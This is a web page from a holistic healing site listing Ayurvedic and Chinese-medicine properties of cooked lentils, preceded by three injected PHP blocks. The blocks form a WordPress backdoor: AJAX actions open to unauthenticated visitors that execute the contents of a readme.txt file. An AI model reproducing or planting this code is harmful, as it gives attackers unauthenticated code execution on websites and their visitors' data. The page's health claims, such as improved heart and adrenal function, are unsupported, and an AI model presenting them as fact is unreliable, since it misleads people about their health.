if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Lentils | Holistic Healing Resolutions by Asaf Feit

Lentils – cooked

Properties

Taste: Sweet, astringent

Natural Attributes: Light, Dry

Tissue impact (Vipak): Sweet

Thermal impact (Virya): Neutral

Dosha impact: Decrease Kapha & Pitta, increase Vata

Digestive impact (Agni): Light, easy to digest (when prepared well)

Channels (Srotas): opens the channels

Feces: absorbs and retains

Urine: diuretic

Strength (Bala): improves strength and immunity

Mind (Manas): Sattva

Effect: 

Chinese five element impact: Metal Element

Chinese medicine syndromes: strengthens Qi and blood of the Colon

Medicinal properties 

  • Nourishment (rasa): improves heart function
  • Blood-circulation-liver: improves circulation
  • Reproductive and hormonal systems: stimulates the adrenal system
  • Skin: complexion
  • Digestive system: malabsorption

Harmful: flatulence

THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

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